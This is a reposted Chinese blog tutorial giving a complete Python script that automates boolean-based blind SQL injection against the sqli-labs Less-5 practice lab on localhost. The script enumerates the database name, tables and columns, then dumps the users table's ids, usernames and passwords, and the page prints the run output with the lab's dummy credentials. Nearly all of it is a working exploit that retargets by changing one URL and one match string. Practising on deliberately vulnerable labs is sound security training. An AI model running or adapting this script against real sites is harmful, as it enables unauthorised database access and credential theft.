返回顶部
首页 > 资讯 > 后端开发 > Python >python实现布尔型盲注的示例代码
  • 454
分享到

python实现布尔型盲注的示例代码

python布尔盲注 2022-06-02 22:06:28 454人浏览 薄情痞子

Python 官方文档:入门教程 => 点击学习

摘要

好久没写python了,就想着写个简单的练练手,写个布尔型盲注自动化脚本,我觉得这个功能写的非常全了,这里是参考sqli-labs里面的盲注漏洞进行的脚本编写。 脚本运行时间:6分半左右 bool_sqlblin

好久没写python了,就想着写个简单的练练手,写个布尔型盲注自动化脚本,我觉得这个功能写的非常全了,这里是参考sqli-labs里面的盲注漏洞进行的脚本编写。

脚本运行时间:6分半左右


bool_sqlblind.py
# -*- coding:utf-8 -*-
# Author: mochu7
import requests

def ascii_str():#生成库名表名字符所在的字符列表字典
 str_list=[]
 for i in range(33,127):#所有可显示字符
  str_list.append(chr(i))
 #print('可显示字符:%s'%str_list)
 return str_list#返回字符列表

def db_length(url,str):
 print("[-]开始测试数据库名长度.......")
 num=1
 while True:
  db_payload=url+"' and (length(database())=%d)--+"%num
  r=requests.get(db_payload)
  if str in r.text:
   db_length=num
   print("[+]数据库长度:%d\n"%db_length)
   db_name(db_length)#进行下一步,测试库名
   break
  else:
   num += 1

def db_name(db_length):
 print("[-]开始测试数据库名.......")
 db_name=''
 str_list=ascii_str()
 for i in range(1,db_length+1):
  for j in str_list:
   db_payload=url+"' and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
   r=requests.get(db_payload)
   if str in r.text:
    db_name+=j
    break
 print("[+]数据库名:%s\n"%db_name)
 tb_piece(db_name)#进行下一步,测试security数据库有几张表
 return db_name
 
def tb_piece(db_name):
 print("开始测试%s数据库有几张表........"%db_name)
 for i in range(100):#猜解库中有多少张表,合理范围即可
  tb_payload=url+"' and %d=(select count(table_name) from infORMation_schema.tables where table_schema='%s')--+"%(i,db_name)
  r=requests.get(tb_payload)
  if str in r.text:
   tb_piece=i
   break
 print("[+]%s库一共有%d张表\n"%(db_name,tb_piece))
 tb_name(db_name,tb_piece)#进行下一步,猜解表名


def tb_name(db_name,tb_piece):
 print("[-]开始猜解表名.......")
 table_list=[]
 for i in range(tb_piece):
  str_list=ascii_str()
  tb_length=0
  tb_name=''
  for j in range(1,20):#表名长度,合理范围即可
   tb_payload=url+"' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
   r=requests.get(tb_payload)
   if str in r.text:
    tb_length=j
    print("第%d张表名长度:%s"%(i+1,tb_length))
    for k in range(1,tb_length+1):#根据表名长度进行截取对比
     for l in str_list:
      tb_payload=url+"' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(i,k,ord(l))
      r=requests.get(tb_payload)
      if str in r.text:
       tb_name+=l
    print("[+]:%s"%tb_name)
    table_list.append(tb_name)
    break
 print("\n[+]%s库下的%s张表:%s\n"%(db_name,tb_piece,table_list))
 column_num(table_list,db_name)#进行下一步,猜解每张表的字段数

def column_num(table_list,db_name):
 print("[-]开始猜解每张表的字段数:.......")
 column_num_list=[]
 for i in table_list:
  for j in range(30):#每张表的字段数量,合理范围即可
   column_payload=url+"' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+"%(j,i)
   r=requests.get(column_payload)
   if str in r.text:
    column_num=j
    column_num_list.append(column_num)#把所有表的字段,依次放入这个列表当中
    print("[+]%s表\t%s个字段"%(i,column_num))
    break
 print("\n[+]表对应的字段数:%s\n"%column_num_list)
 column_name(table_list,column_num_list,db_name)#进行下一步,猜解每张表的字段名

def column_name(table_list,column_num_list,db_name):
 print("[-]开始猜解每张表的字段名.......")
 column_length=[]
 str_list=ascii_str()
 column_name_list=[]
 for t in range(len(table_list)):#t在这里代表每张表的列表索引位置
  print("\n[+]%s表的字段:"%table_list[t])
  for i in range(column_num_list[t]):#i表示每张表的字段数量
   column_name=''
   for j in range(1,21):#j表示每个字段的长度
    column_name_length=url+"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+"%(j-1,table_list[t],i)
    r=requests.get(column_name_length)
    if str in r.text:
     column_length.append(j)
     break
    for k in str_list:#k表示我们猜解的字符字典
     column_payload=url+"' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+"%(table_list[t],i,j,ord(k))
     r=requests.get(column_payload)
     if str in r.text:
      column_name+=k
   print('[+]:%s'%column_name)
   column_name_list.append(column_name)
 #print(column_name_list)#输出所有表中的字段名到一个列表中
 dump_data(table_list,column_name_list,db_name)#进行最后一步,输出指定字段的数据

def dump_data(table_list,column_name_list,db_name):
 print("\n[-]对%s表的%s字段进行爆破.......\n"%(table_list[3],column_name_list[9:12]))
 str_list=ascii_str()
 for i in column_name_list[9:12]:#id,username,passWord字段
  for j in range(101):#j表示有多少条数据,合理范围即可
   data_num_payload=url+"' and (select count(%s) from %s.%s)=%d--+"%(i,db_name,table_list[3],j)
   r=requests.get(data_num_payload)
   if str in r.text:
    data_num=j
    break
  print("\n[+]%s表中的%s字段有以下%s条数据:"%(table_list[3],i,data_num))
  for k in range(data_num):
   data_len=0
   dump_data=''
   for l in range(1,21):#l表示每条数据的长度,合理范围即可
    data_len_payload=url+"' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+"%(i,db_name,table_list[3],k,l)
    r=requests.get(data_len_payload)
    if str not in r.text:
     data_len=l-1
     for x in range(1,data_len+1):#x表示每条数据的实际范围,作为mid截取的范围
      for y in str_list:
       data_payload=url+"' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+"%(i,db_name,table_list[3],k,x,ord(y))
       r=requests.get(data_payload)
       if str in r.text:
        dump_data+=y
        break
     break
   print('[+]%s'%dump_data)#输出每条数据



if __name__ == '__main__':
 url="Http://127.0.0.1/sqli-labs/Less-5/?id=1"#目标url
 str="You are in"#布尔型盲注的true&false的判断因素
 db_length(url,str)#程序入口

运行结果

PS C:\Users\Administrator\Desktop> python3 .\bool_sqlblind.py                                                                                                                                                                                [-]开始测试数据库名长度.......
[+]数据库长度:8

[-]开始测试数据库名.......
[+]数据库名:security

开始测试security数据库有几张表........
[+]security库一共有4张表

[-]开始猜解表名.......
第1张表名长度:6
[+]:emails
第2张表名长度:8
[+]:referers
第3张表名长度:7
[+]:uagents
第4张表名长度:5
[+]:users

[+]security库下的4张表:['emails', 'referers', 'uagents', 'users']

[-]开始猜解每张表的字段数:.......
[+]emails表     2个字段
[+]referers表   3个字段
[+]uagents表    4个字段
[+]users表      7个字段

[+]表对应的字段数:[2, 3, 4, 7]

[-]开始猜解每张表的字段名.......

[+]emails表的字段:
[+]:id
[+]:email_id

[+]referers表的字段:
[+]:id
[+]:referer
[+]:ip_address

[+]uagents表的字段:
[+]:id
[+]:uagent
[+]:ip_address
[+]:username

[+]users表的字段:
[+]:id
[+]:username
[+]:password
[+]:level
[+]:id
[+]:username
[+]:password

[-]对users表的['id', 'username', 'password']字段进行爆破.......


[+]users表中的id字段有以下13条数据:
[+]1
[+]2
[+]3
[+]4
[+]5
[+]6
[+]7
[+]8
[+]9
[+]10
[+]11
[+]12
[+]14

[+]users表中的username字段有以下13条数据:
[+]Dumb
[+]Angelina
[+]Dummy
[+]secure
[+]stupid
[+]superman
[+]batman
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dhakkan
[+]admin4

[+]users表中的password字段有以下13条数据:
[+]Dumb
[+]I-kill-you
[+]p@ssword
[+]crappy
[+]stupidity
[+]geNIOus
[+]mob!le
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dumbo
[+]admin4
PS C:\Users\Administrator\Desktop> 

到此这篇关于Python实现布尔型盲注的示例代码的文章就介绍到这了,更多相关python布尔盲注内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: python实现布尔型盲注的示例代码

本文链接: https://lsjlt.com/news/10494.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • python实现布尔型盲注的示例代码
    好久没写python了,就想着写个简单的练练手,写个布尔型盲注自动化脚本,我觉得这个功能写的非常全了,这里是参考sqli-labs里面的盲注漏洞进行的脚本编写。 脚本运行时间:6分半左右 bool_sqlblin...
    99+
    2022-06-02
    python 布尔盲注
  • SQL注入中布尔盲注的示例讲解
    这篇文章主要介绍“SQL注入中布尔盲注的示例讲解”,在日常操作中,相信很多人在SQL注入中布尔盲注的示例讲解问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”SQL注入中布尔盲注...
    99+
    2024-04-02
  • Python布尔值实例代码分析
    本文小编为大家详细介绍“Python布尔值实例代码分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“Python布尔值实例代码分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。布尔表示两值之一:True 或 F...
    99+
    2023-07-06
  • python实现希尔密码加密的示例代码
    目录原理实现原理 希尔密码是运用基本矩阵论原理的替换密码,由Lester S. Hill在1929年发明。 每个字母当作26进制数字:A=0, B=1, C=2… 一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得...
    99+
    2022-06-02
    python 希尔密码加密 python 希尔密码
  • Python实现希尔伯特变换(Hilberttransform)的示例代码
    目录前言一、希尔伯特变换是什么二、VC中的实现原理及代码示例三、用Python代码实现总结前言 在数学和信号处理中,**希尔伯特变换(Hilbert transform)**是一个对...
    99+
    2023-05-15
    Python实现希尔伯特变换 Python希尔伯特变换
  • 图片去摩尔纹简述实现python代码示例
    目录1、前言2、网络结构复现3、数据预处理4、模型训练总结1、前言 当感光元件像素的空间频率与影像中条纹的空间频率接近时,可能产生一种新的波浪形的干扰图案,即所谓的摩尔纹。传感器的...
    99+
    2023-02-24
    python 图片去摩尔纹 python 去摩尔纹
  • python布尔注入原理及渗透过程示例
    目录引文基本知识什么是布尔注入?函数注入过程例题例题一例题二结语引文 之前有一篇文章给大家带来了SQL注入的基本知识点以及分类,包含的面比较广但是不深入,于是我准备详细讲讲每一种类型...
    99+
    2024-04-02
  • Java实现克鲁斯卡尔算法的示例代码
    目录克鲁斯卡尔算法执行流程代码实现克鲁斯卡尔算法 克鲁斯卡尔算法是一种用于求解最小生成树问题的贪心算法。最小生成树是一个连通无向图中生成树中边权值和最小的生成树。克鲁斯卡尔算法按边权...
    99+
    2023-05-16
    Java实现克鲁斯卡尔算法 Java克鲁斯卡尔算法 Java算法
  • Go实现set类型的示例代码
    目录如何实现set构造一个Set如何实现set Go中是不提供Set类型的,Set是一个集合,其本质就是一个List,只是List里的元素不能重复。 Go提供了map类型,但是我们知...
    99+
    2023-01-31
    Go set类型 Go set
  • Redis实现登录注册的示例代码
    目录1. 引言2. 流程图及代码实现2.1 生成验证码保存到Redis2.2 登录验证2.3 请求拦截器3. 总结1. 引言 在传统的项目中,用户登录成功,将用户信息保存在sessi...
    99+
    2024-04-02
  • Redis实现好友关注的示例代码
    目录一、关注和取关二、共同关注                          &nbs...
    99+
    2023-01-29
    Redis 好友关注
  • Python实现希尔排序,归并排序和桶排序的示例代码
    目录1. 前言2. 希尔排序2.1 前后切分2.2 增量切分3. 归并排序3.1 分解子问题3.2 求解子问题3.3 合并排序4. 基数排序5. 总结1. 前言 本文将介绍希尔排序、...
    99+
    2024-04-02
  • Unity实现车型识别的示例代码
    接口介绍: 该请求用于检测一张车辆图片的具体车型。即对于输入的一张图片(可正常解码,且长宽比适宜),输出图片的车辆品牌及型号。 创建应用: 在产品服务中搜索图像识别,创建应用,获取A...
    99+
    2024-04-02
  • springboot+zookeeper实现分布式锁的示例代码
    目录依赖本地封装配置测试代码JMeter测试InterProcessMutex内部实现了zookeeper分布式锁的机制,所以接下来我们尝试使用这个工具来为我们的业务加上分布式锁处理...
    99+
    2024-04-02
  • C#实现一阶卡尔曼滤波算法的示例代码
    //FilterKalman.cs namespace FusionFiltering { public class FilterKalman { ...
    99+
    2024-04-02
  • django+vue实现注册登录的示例代码
    注册 前台利用vue中的axios进行传值,将获取到的账号密码以form表单的形式发送给后台。 form表单的作用就是采集数据,也就是在前台页面中获取用户输入的值。numberVa...
    99+
    2024-04-02
  • python实现跳表SkipList的示例代码
    跳表 跳表,又叫做跳跃表、跳跃列表,在有序链表的基础上增加了“跳跃”的功能,由William Pugh于1990年发布,设计的初衷是为了取代平衡树(比如红黑树)。 Redis、LevelDB 都是著名的 Key-Va...
    99+
    2022-06-02
    python 跳表SkipList python 跳表
  • python中Switch/Case实现的示例代码
    学习Python过程中,发现没有switch-case,过去写C习惯用Switch/Case语句,官方文档说通过if-elif实现。所以不妨自己来实现Switch/Case功能。 使用if…elif…el...
    99+
    2022-06-04
    示例 代码 python
  • Python实现连点器的示例代码
    啊,为此我特意准备了两个程序,一个是用来测试的,一个是主程序。来看看吧 直接放连点器代码: # 改进版 import pyautogui as pag from time impor...
    99+
    2024-04-02
  • Python实现计算AUC的示例代码
    目录为什么这样一个指标可以衡量分类效果auc理解AUC计算方法一方法二实现及验证AUC(Area under curve)是机器学习常用的二分类评测手段,直接含义是ROC曲线下的面积...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作